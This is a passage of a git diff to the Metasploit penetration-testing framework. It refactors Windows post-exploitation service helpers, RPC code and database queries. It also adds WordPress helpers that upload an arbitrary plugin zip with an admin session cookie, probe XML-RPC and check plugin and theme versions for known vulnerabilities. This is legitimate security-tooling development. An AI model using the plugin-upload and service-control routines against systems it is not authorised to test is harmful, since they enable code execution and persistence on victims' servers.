adv.ControlService(handle["return"],1,56) - adv.CloseServiceHandle(handle["return"]) + retval = advapi32.ControlService(service_handle,1,28) + case retval["GetLastError"] + when Error::SUCCESS, + Error::INVALID_SERVICE_CONTROL, + Error::SERVICE_CANNOT_ACCEPT_CTRL, + Error::SERVICE_NOT_ACTIVE + status = parse_service_status_struct(retval['lpServiceStatus']) + else + status = nil + end - case retval["GetLastError"] - when 0; return 0 # worked - when 1062; return 1 # already stopped or disabled - when 1052; return 2 # cannot be stopped + return retval["GetLastError"] end end end @@ -286,24 +427,11 @@ module Services # @param (see #service_start) # def service_delete(name, server=nil) - adv = session.railgun.advapi32 - open_sc_manager(:host=>server) do |manager| - # Now to grab a handle to the service. - # Thank you, Wine project for defining the DELETE constant since it, - # and all its friends, are missing from the MSDN docs. - # #define DELETE 0x00010000 - handle = adv.OpenServiceA(manager, name, 0x10000) - if (handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + open_service_handle(manager, name, "DELETE") do |service_handle| + ret = advapi32.DeleteService(service_handle) + return ret["GetLastError"] end - - # Lastly, delete it - adv.DeleteService(handle["return"]) - - adv.CloseServiceHandle(handle["return"]) - - handle["GetLastError"] end end @@ -318,38 +446,109 @@ module Services # # def service_status(name, server=nil) - adv = session.railgun.advapi32 ret = nil - - # 0x80000000 GENERIC_READ - open_sc_manager(:host => server, :access => 0x80000000) do |manager| - # Now to grab a handle to the service. - handle = adv.OpenServiceA(manager, name, 0x80000000) - if (handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + + open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager| + open_service_handle(manager, name, "GENERIC_READ") do |service_handle| + status = advapi32.QueryServiceStatus(service_handle,28) + + if (status["return"] == 0) + raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}") + else + ret = parse_service_status_struct(status['lpServiceStatus']) + end end - - status = adv.QueryServiceStatus(handle["return"],28) - if (status["return"] == 0) - raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}") - end - - vals = status['lpServiceStatus'].unpack('V*') - adv.CloseServiceHandle(handle["return"]) - - ret = { - :type => vals[0], - :state => vals[1], - :controls_accepted => vals[2], - :win32_exit_code => vals[3], - :service_exit_code => vals[4], - :check_point => vals[5], - :wait_hint => vals[6] - } end - + return ret end + + # + # Performs an aggressive service (re)start + # If service is disabled it will re-enable + # If service is running it will stop and restart + # + # @param name [String] The service name + # @param start_type [Integer] The start type to configure if disabled + # @param server [String] The server to target + # + # @return [Boolean] indicating success + # + # + def service_restart(name, start_type=START_TYPE_AUTO, server=nil) + tried = false + + begin + status = service_start(name, server) + + if status == Error::SUCCESS + vprint_good("[#{name}] Service started") + return true + else + raise RuntimeError, status + end + rescue RuntimeError => s + if tried + vprint_error("[#{name}] Unhandled error: #{s}") + return false + else + tried = true + end + + case s.message.to_i + when Error::ACCESS_DENIED + vprint_error("[#{name}] Access denied") + when Error::INVALID_HANDLE + vprint_error("[#{name}] Invalid handle") + when Error::PATH_NOT_FOUND + vprint_error("[#{name}] Service binary could not be found") + when Error::SERVICE_ALREADY_RUNNING + vprint_status("[#{name}] Service already running attempting to stop and restart") + stopped = service_stop(name, server) + if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE)) + retry + else + vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}") + end + when Error::SERVICE_DISABLED + vprint_status("[#{name}] Service disabled attempting to set to manual") + if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS) + retry + else + vprint_error("[#{name}] Service disabled, unable to change start type") + end + else + vprint_error("[#{name}] Unhandled error: #{s}") + return false + end + end + end + + # + # Parses out a SERVICE_STATUS struct from the + # lpServiceStatus out parameter + # + # @param lpServiceStatus [String] the latest status of calling service + # + # @return [Hash] Containing SERVICE_STATUS values + # + def parse_service_status_struct(lpServiceStatus) + if lpServiceStatus + vals = lpServiceStatus.unpack('V*') + return { + :type => vals[0], + :state => vals[1], + :controls_accepted => vals[2], + :win32_exit_code => vals[3], + :service_exit_code => vals[4], + :check_point => vals[5], + :wait_hint => vals[6] + } + else + return nil + end + end + end end diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 64f4870977..59cb021e94 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -175,25 +175,9 @@ module ShadowCopy print_status("Volume Shadow Copy service is running.") else print_status("Volume Shadow Copy service not running. Starting it now...") - begin - ss_result = service_start("VSS") - case ss_result - when 0 - print_status("Volume Shadow Copy started successfully.") - when 1 - print_error("Volume Shadow Copy already running.") - when 2 - print_error("Volume Shadow Copy is disabled.") - print_status("Attempting to re-enable...") - service_change_startup("VSS","manual") - ss_result = service_start("VSS") - if ss_result == 0 - return true - else - return false - end - end - rescue + if service_restart("VSS", START_TYPE_MANUAL) + print_good("Volume Shadow Copy started successfully.") + else print_error("Insufficient Privs to start service!") return false end diff --git a/lib/msf/core/post/windows/user_profiles.rb b/lib/msf/core/post/windows/user_profiles.rb index 2e21c7b5fc..9c686a74fb 100644 --- a/lib/msf/core/post/windows/user_profiles.rb +++ b/lib/msf/core/post/windows/user_profiles.rb @@ -49,9 +49,6 @@ module UserProfiles # def parse_profile(hive) profile={} - sidinf = resolve_sid(hive['SID'].to_s) - profile['UserName'] = sidinf[:name] - profile['Domain'] = sidinf[:domain] profile['SID'] = hive['SID'] profile['ProfileDir'] = hive['PROF'] profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData') @@ -65,6 +62,12 @@ module UserProfiles profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir']) profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH') + sidinf = resolve_sid(hive['SID'].to_s) + if sidinf + profile['UserName'] = sidinf[:name] + profile['Domain'] = sidinf[:domain] + end + return profile end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb index f2e5fc965d..a9db0fc3c5 100644 --- a/lib/msf/core/post/windows/wmic.rb +++ b/lib/msf/core/post/windows/wmic.rb @@ -27,7 +27,7 @@ module WMIC result_text = "" if datastore['SMBUser'] - if server.downcase == "localhost" || server.downcase.starts_with("127.") + if server.downcase == "localhost" || server.downcase.starts_with?('127.') raise RuntimeError, "WMIC: User credentials cannot be used for local connections" end end diff --git a/lib/msf/core/rpc/v10/client.rb b/lib/msf/core/rpc/v10/client.rb index 7245102226..2975ddbf7d 100644 --- a/lib/msf/core/rpc/v10/client.rb +++ b/lib/msf/core/rpc/v10/client.rb @@ -31,7 +31,7 @@ class Client def login(user,pass) res = self.call("auth.login", user, pass) - if(not (res and res['result'] == "success")) + unless (res && res['result'] == "success") raise RuntimeError, "authentication failed" end self.token = res['token'] @@ -41,8 +41,8 @@ class Client # Prepend the authentication token as the first parameter # of every call except auth.login. Requires the def call(meth, *args) - if(meth != "auth.login") - if(not self.token) + unless meth == "auth.login" + unless self.token raise RuntimeError, "client not authenticated" end args.unshift(self.token) @@ -50,7 +50,7 @@ class Client args.unshift(meth) - if not @cli + unless @cli @cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version]) @cli.set_config( :vhost => info[:host], @@ -69,10 +69,12 @@ class Client res = @cli.send_recv(req) @cli.close - if res and [200, 401, 403, 500].include?(res.code) + if res && [200, 401, 403, 500].include?(res.code) resp = MessagePack.unpack(res.body) - if resp and resp.kind_of?(::Hash) and resp['error'] == true + # Boolean true versus truthy check required here; + # RPC responses such as { "error" => "Here I am" } and { "error" => "" } must be accommodated. + if resp && resp.kind_of?(::Hash) && resp['error'] == true raise Msf::RPC::ServerException.new(resp['error_code'] || res.code, resp['error_message'] || resp['error_string'], resp['error_class'], resp['error_backtrace']) end @@ -83,7 +85,7 @@ class Client end def close - if @cli and @cli.conn? + if @cli && @cli.conn? @cli.close end @cli = nil diff --git a/lib/msf/core/rpc/v10/rpc_auth.rb b/lib/msf/core/rpc/v10/rpc_auth.rb index 4157511536..ca1999aa5f 100644 --- a/lib/msf/core/rpc/v10/rpc_auth.rb +++ b/lib/msf/core/rpc/v10/rpc_auth.rb @@ -57,7 +57,7 @@ end res = self.service.tokens.keys begin if framework.db and framework.db.active - ::Mdm::ApiKey.find(:all).each do |k| + ::Mdm::ApiKey.all.each do |k| res << k.token end end diff --git a/lib/msf/core/rpc/v10/rpc_core.rb b/lib/msf/core/rpc/v10/rpc_core.rb index f484deec8d..ebe975d291 100644 --- a/lib/msf/core/rpc/v10/rpc_core.rb +++ b/lib/msf/core/rpc/v10/rpc_core.rb @@ -15,6 +15,11 @@ class RPC_Core < RPC_Base self.service.stop end + def rpc_getg(var) + val = framework.datastore[var] + { var.to_s => val.to_s } + end + def rpc_setg(var, val) framework.datastore[var] = val { "result" => "success" } diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index 438e3141db..32cef00cea 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -55,7 +55,7 @@ private return hosts if opts[:addresses].class != Array conditions = {} conditions[:address] = opts[:addresses] - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) hosts |= hent if hent.class == Array end return hosts @@ -73,7 +73,7 @@ private conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = h.services.all(:conditions => conditions) + sret = h.services.where(conditions) next if sret == nil services |= sret if sret.class == Array services << sret if sret.class == ::Mdm::Service @@ -85,7 +85,7 @@ private conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = wspace.services.all(:conditions => conditions) + sret = wspace.services.where(conditions) services |= sret if sret.class == Array services << sret if sret.class == ::Mdm::Service end @@ -189,8 +189,7 @@ public ret = {} ret[:hosts] = [] - wspace.hosts.all(:conditions => conditions, :order => :address, - :limit => limit, :offset => offset).each do |h| + wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h| host = {} host[:created_at] = h.created_at.to_i host[:address] = h.address.to_s @@ -226,8 +225,7 @@ public ret = {} ret[:services] = [] - wspace.services.all(:include => :host, :conditions => conditions, - :limit => limit, :offset => offset).each do |s| + wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s| service = {} host = s.host service[:host] = host.address || "unknown" @@ -258,7 +256,7 @@ public ret = {} ret[:vulns] = [] - wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v| + wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v| vuln = {} reflist = v.refs.map { |r| r.name } if(v.service) @@ -423,7 +421,7 @@ public conditions[:proto] = opts[:proto] if opts[:proto] conditions[:port] = opts[:port] if opts[:port] conditions[:name] = opts[:names] if opts[:names] - sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port") + sret = wspace.services.where(conditions).order("hosts.address, port") else sret = host.services end @@ -564,8 +562,7 @@ public ret = {} ret[:notes] = [] - wspace.notes.all(:include => [:host, :service], :conditions => conditions, - :limit => limit, :offset => offset).each do |n| + wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n| note = {} note[:time] = n.created_at.to_i note[:host] = "" @@ -737,7 +734,7 @@ public elsif opts[:addresses] return { :result => 'failed' } if opts[:addresses].class != Array conditions = { :address => opts[:addresses] } - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) return { :result => 'failed' } if hent == nil hosts |= hent if hent.class == Array hosts << hent if hent.class == ::Mdm::Host @@ -749,7 +746,7 @@ public conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = h.services.all(:conditions => conditions) + sret = h.services.where(conditions) next if sret == nil services << sret if sret.class == ::Mdm::Service services |= sret if sret.class == Array @@ -761,7 +758,7 @@ public conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = wspace.services.all(:conditions => conditions) + sret = wspace.services.where(conditions) services << sret if sret and sret.class == ::Mdm::Service services |= sret if sret and sret.class == Array end @@ -794,7 +791,7 @@ public elsif opts[:addresses] return { :result => 'failed' } if opts[:addresses].class != Array conditions = { :address => opts[:addresses] } - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) return { :result => 'failed' } if hent == nil hosts |= hent if hent.class == Array hosts << hent if hent.class == ::Mdm::Host @@ -829,7 +826,7 @@ public ret = {} ret[:events] = [] - wspace.events.all(:limit => limit, :offset => offset).each do |e| + wspace.events.offset(offset).limit(limit).each do |e| event = {} event[:host] = e.host.address if(e.host) event[:created_at] = e.created_at.to_i @@ -874,7 +871,7 @@ public ret = {} ret[:loots] = [] - wspace.loots.all(:limit => limit, :offset => offset).each do |l| + wspace.loots.offset(offset).limit(limit).each do |l| loot = {} loot[:host] = l.host.address if(l.host) loot[:service] = l.service.name || l.service.port if(l.service) @@ -964,8 +961,7 @@ public ret = {} ret[:clients] = [] - wspace.clients.all(:include => :host, :conditions => conditions, - :limit => limit, :offset => offset).each do |c| + wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c| client = {} client[:host] = c.host.address.to_s if c.host client[:ua_string] = c.ua_string @@ -999,7 +995,7 @@ public conditions = {} conditions[:ua_name] = opts[:ua_name] if opts[:ua_name] conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver] - cret = h.clients.all(:conditions => conditions) + cret = h.clients.where(conditions) else cret = h.clients end diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index 0868fb0691..431bfc100a 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -112,13 +112,13 @@ class Service end end - if not (req.headers["Content-Type"] and req.headers["Content-Type"] == "binary/message-pack") + unless (req.headers["Content-Type"] && req.headers["Content-Type"] == "binary/message-pack") raise ArgumentError, "Invalid Content Type" end msg = MessagePack.unpack(req.body) - if not (msg and msg.kind_of?(::Array) and msg.length > 0) + unless (msg && msg.kind_of?(::Array) && msg.length > 0) raise ArgumentError, "Invalid Message Format" end @@ -126,7 +126,7 @@ class Service group, funct = msg.shift.split(".", 2) - if not self.handlers[group] + unless self.handlers[group] raise ArgumentError, "Unknown API Group: '#{group.inspect}'" end @@ -138,13 +138,13 @@ class Service mname << '_noauth' end - if not self.handlers[group].respond_to?(mname) + unless self.handlers[group].respond_to?(mname) raise ArgumentError, "Unknown API Call: '#{mname.inspect}'" end if doauth token = msg.shift - if not authenticate(token) + unless authenticate(token) raise ::Msf::RPC::Exception.new(401, "Invalid Authentication Token") end end @@ -203,7 +203,7 @@ class Service stale = [] - if not (token and token.kind_of?(::String)) + unless (token && token.kind_of?(::String)) return false end @@ -212,17 +212,17 @@ class Service self.tokens.each_key do |t| user,ctime,mtime,perm = self.tokens[t] - if ! perm and mtime + self.token_timeout < Time.now.to_i + if !perm && mtime + self.token_timeout < Time.now.to_i stale << t end end stale.each { |t| self.tokens.delete(t) } - if not self.tokens[token] + unless self.tokens[token] begin - if framework.db.active and ::Mdm::ApiKey.find_by_token(token) + if framework.db.active && ::Mdm::ApiKey.find_by_token(token) return true end rescue ::Exception => e diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index dbe2e1d0a8..98f699fe6f 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -133,7 +133,7 @@ class SessionManager < Hash # framework instance. # ::ActiveRecord::Base.connection_pool.with_connection do |conn| - ::Mdm::Session.find_all_by_closed_at(nil).each do |db_session| + ::Mdm::Session.where(closed_at: nil).each do |db_session| if db_session.last_seen.nil? or ((Time.now.utc - db_session.last_seen) > (2*LAST_SEEN_INTERVAL)) db_session.closed_at = db_session.last_seen || Time.now.utc db_session.close_reason = "Orphaned" diff --git a/lib/msf/http/jboss/base.rb b/lib/msf/http/jboss/base.rb index db156e31db..42bac3e80b 100644 --- a/lib/msf/http/jboss/base.rb +++ b/lib/msf/http/jboss/base.rb @@ -49,7 +49,7 @@ module Msf::HTTP::JBoss::Base # Try to auto detect the target architecture and platform # - # @param [Array] The available targets + # @param [Array] available_targets The available targets # @return [Msf::Module::Target, nil] The detected target or nil def auto_target(available_targets) if http_verb == 'HEAD' diff --git a/lib/msf/http/jboss/deployment_file_repository_scripts.rb b/lib/msf/http/jboss/deployment_file_repository_scripts.rb index cd9b89afc6..1ba7d23258 100644 --- a/lib/msf/http/jboss/deployment_file_repository_scripts.rb +++ b/lib/msf/http/jboss/deployment_file_repository_scripts.rb @@ -7,7 +7,7 @@ module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts # to overcome the size limit in those requests # # @param stager_base [String] The name of the base of the stager. - # @param stager_jsp [String] The name name of the jsp stager. + # @param stager_jsp_name [String] The name name of the jsp stager. # @return [String] The JSP head stager. def head_stager_jsp(stager_base, stager_jsp_name) content_var = Rex::Text.rand_text_alpha(8+rand(8)) diff --git a/lib/msf/http/wordpress.rb b/lib/msf/http/wordpress.rb index 53148c2483..92ac99eacd 100644 --- a/lib/msf/http/wordpress.rb +++ b/lib/msf/http/wordpress.rb @@ -4,6 +4,7 @@ module Msf module HTTP module Wordpress + require 'msf/http/wordpress/admin' require 'msf/http/wordpress/base' require 'msf/http/wordpress/helpers' require 'msf/http/wordpress/login' @@ -11,8 +12,10 @@ module Msf require 'msf/http/wordpress/uris' require 'msf/http/wordpress/users' require 'msf/http/wordpress/version' + require 'msf/http/wordpress/xml_rpc' include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress::Admin include Msf::HTTP::Wordpress::Base include Msf::HTTP::Wordpress::Helpers include Msf::HTTP::Wordpress::Login @@ -20,6 +23,7 @@ module Msf include Msf::HTTP::Wordpress::URIs include Msf::HTTP::Wordpress::Users include Msf::HTTP::Wordpress::Version + include Msf::HTTP::Wordpress::XmlRpc def initialize(info = {}) super diff --git a/lib/msf/http/wordpress/admin.rb b/lib/msf/http/wordpress/admin.rb new file mode 100644 index 0000000000..961b5c603a --- /dev/null +++ b/lib/msf/http/wordpress/admin.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- + +module Msf::HTTP::Wordpress::Admin + # Uploads a plugin using a valid admin session. + # + # @param name [String] The name of the plugin + # @param zip [String] The plugin zip file as a string + # @param cookie [String] A valid admin session cookie + # @return [Boolean] true on success, false on error + def wordpress_upload_plugin(name, zip, cookie) + nonce = wordpress_helper_get_plugin_upload_nonce(cookie) + if nonce.nil? + vprint_error("#{peer} - Failed to acquire the plugin upload nonce") + return false + end + vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}") + + referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload') + data = Rex::MIME::Message.new + data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"') + data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"') + data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"") + data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_update, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookie, + 'vars_get' => { 'action' => 'upload-plugin' } + ) + + if res && res.code == 200 + vprint_status("#{peer} - Uploaded plugin #{name}") + return true + else + vprint_error("#{peer} - Server responded with code #{res.code}") if res + vprint_error("#{peer} - Failed to upload plugin #{name}") + return false + end + end +end diff --git a/lib/msf/http/wordpress/base.rb b/lib/msf/http/wordpress/base.rb index 30296cade8..e67f46a40c 100644 --- a/lib/msf/http/wordpress/base.rb +++ b/lib/msf/http/wordpress/base.rb @@ -5,15 +5,25 @@ module Msf::HTTP::Wordpress::Base # # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise def wordpress_and_online? + wordpress_detect_regexes = [ + /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i, + /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i, + /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i + ] + res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) - wordpress_detect_regexes = [ - /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i, - /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i, - /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i - ] + + # handle one redirect + if res && res.redirect? && res.redirection + res = send_request_cgi( + 'method' => 'GET', + 'uri' => path_from_uri(res.redirection) + ) + end + return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } return nil rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e diff --git a/lib/msf/http/wordpress/helpers.rb b/lib/msf/http/wordpress/helpers.rb index 837688dab0..bb39caa83e 100644 --- a/lib/msf/http/wordpress/helpers.rb +++ b/lib/msf/http/wordpress/helpers.rb @@ -119,4 +119,21 @@ module Msf::HTTP::Wordpress::Helpers path_from_uri(location) end + # Helper method to retrieve a valid plugin upload nonce. + # + # @param cookie [String] A valid admin session cookie + # @return [String,nil] The nonce, nil on error + def wordpress_helper_get_plugin_upload_nonce(cookie) + uri = normalize_uri(wordpress_url_backend, 'plugin-install.php') + options = { + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie, + 'vars_get' => { 'tab' => 'upload' } + } + res = send_request_cgi(options) + if res && res.code == 200 + return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] + end + end end diff --git a/lib/msf/http/wordpress/login.rb b/lib/msf/http/wordpress/login.rb index 8128e10d23..3ef87f4710 100644 --- a/lib/msf/http/wordpress/login.rb +++ b/lib/msf/http/wordpress/login.rb @@ -5,14 +5,15 @@ module Msf::HTTP::Wordpress::Login # # @param user [String] Username # @param pass [String] Password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out # @return [String,nil] the session cookies as a single string on successful login, nil otherwise - def wordpress_login(user, pass) + def wordpress_login(user, pass, timeout = 20) redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}" - res = send_request_cgi( + res = send_request_cgi({ 'method' => 'POST', 'uri' => wordpress_url_login, 'vars_post' => wordpress_helper_login_post_data(user, pass, redirect) - ) + }, timeout) if res && res.redirect? && res.redirection && res.redirection.to_s == redirect cookies = res.get_cookies # Check if a valid wordpress cookie is returned diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index cd7b3cc166..19c2cd184a 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -77,9 +77,23 @@ module Msf::HTTP::Wordpress::URIs # # @return [String] Wordpress Admin Ajax URL def wordpress_url_admin_ajax - normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + normalize_uri(wordpress_url_backend, 'admin-ajax.php') end + # Returns the Wordpress Admin Posts URL + # + # @return [String] Wordpress Admin Post URL + def wordpress_url_admin_post + normalize_uri(wordpress_url_backend, 'admin-post.php') + end + + # Returns the Wordpress Admin Update URL + # + # @return [String] Wordpress Admin Update URL + def wordpress_url_admin_update + normalize_uri(wordpress_url_backend, 'update.php') + end + # Returns the Wordpress wp-content dir URL # # @return [String] Wordpress wp-content dir URL diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index d627ceead0..c3a19b86a5 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version # Checks a readme for a vulnerable version # # @param [String] plugin_name The name of the plugin - # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] fixed_version Optional, the version the vulnerability was fixed in # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced # # @return [ Msf::Exploit::CheckCode ] - def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil) + def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil) check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version) end + # Checks the style.css file for a vulnerable version + # + # @param [String] theme_name The name of the theme + # @param [String] fixed_version Optional, the version the vulnerability was fixed in + # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced + # + # @return [ Msf::Exploit::CheckCode ] + def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil) + style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css') + res = send_request_cgi( + 'uri' => style_uri, + 'method' => 'GET' + ) + + # No style.css file present + return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version) + end + # Checks a readme for a vulnerable version # # @param [String] theme_name The name of the theme - # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] fixed_version Optional, the version the vulnerability was fixed in # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced # # @return [ Msf::Exploit::CheckCode ] - def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil) + def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil) check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version) end @@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version nil end - def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil) + def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil) case type when :plugin folder = 'plugins' @@ -92,34 +112,80 @@ module Msf::HTTP::Wordpress::Version 'uri' => readme_url, 'method' => 'GET' ) - # no readme.txt present - return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + if res.nil? || res.code != 200 + readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt') + res = send_request_cgi( + 'uri' => readme_url, + 'method' => 'GET' + ) + end - # try to extract version from readme - # Example line: - # Stable tag: 2.6.6 - version = res.body.to_s[/(?:stable tag|version): (?!trunk)([0-9a-z.-]+)/i, 1] + if res.nil? || res.code != 200 + # No readme.txt or Readme.txt present for plugin + return Msf::Exploit::CheckCode::Unknown if type == :plugin - # readme present, but no version number + # Try again using the style.css file + return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme + end + + version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version) + if version_res == Msf::Exploit::CheckCode::Detected && type == :theme + # If no version could be found in readme.txt for a theme, try style.css + return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) + else + return version_res + end + end + + def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil) + case type + when :readme + # Try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1] + when :style + # Try to extract version from style.css + # Example line: + # Version: 1.5.2 + version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1] + else + fail("Unknown file type #{type}") + end + + # Could not identify version number return Msf::Exploit::CheckCode::Detected if version.nil? - vprint_status("#{peer} - Found version #{version} of the #{type}") + vprint_status("#{peer} - Found version #{version} of the #{item_type}") - # Version older than fixed version - if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if fixed_version.nil? if vuln_introduced_version.nil? # All versions are vulnerable return Msf::Exploit::CheckCode::Appears - # vuln_introduced_version provided, check if version is newer elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + # Newer or equal to the version it was introduced return Msf::Exploit::CheckCode::Appears else - # Not in range, nut vulnerable return Msf::Exploit::CheckCode::Safe end - # version newer than fixed version else - return Msf::Exploit::CheckCode::Safe + # Version older than fixed version + if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if vuln_introduced_version.nil? + # All versions are vulnerable + return Msf::Exploit::CheckCode::Appears + # vuln_introduced_version provided, check if version is newer + elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + return Msf::Exploit::CheckCode::Appears + else + # Not in range, nut vulnerable + return Msf::Exploit::CheckCode::Safe + end + # version newer than fixed version + else + return Msf::Exploit::CheckCode::Safe + end end end end diff --git a/lib/msf/http/wordpress/xml_rpc.rb b/lib/msf/http/wordpress/xml_rpc.rb new file mode 100644 index 0000000000..34a20048c1 --- /dev/null +++ b/lib/msf/http/wordpress/xml_rpc.rb @@ -0,0 +1,40 @@ +# -*- coding: binary -*- + +module Msf::HTTP::Wordpress::XmlRpc + + # Determines if the XMLRPC interface is enabled by sending a demo.sayHello request + # + # @return [Boolean] true if the interface is enabled + def wordpress_xmlrpc_enabled? + xml = wordpress_generate_xml_rpc_body('demo.sayHello') + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'ctype' => 'text/xml;charset=UTF-8', + 'data' => xml + ) + + return true if res && res.body && res.body.to_s =~ /<string>Hello!<\/string>/ + return false + end + + # Generates the xml post body for a XMLRPC call + # + # @param method_name [String] The XMLRPC method to call + # @param params [String] The XMLRPC method params + # @return [String] xml string + def wordpress_generate_xml_rpc_body(method_name, *params) + xml = "<?xml version=\"1.0\" 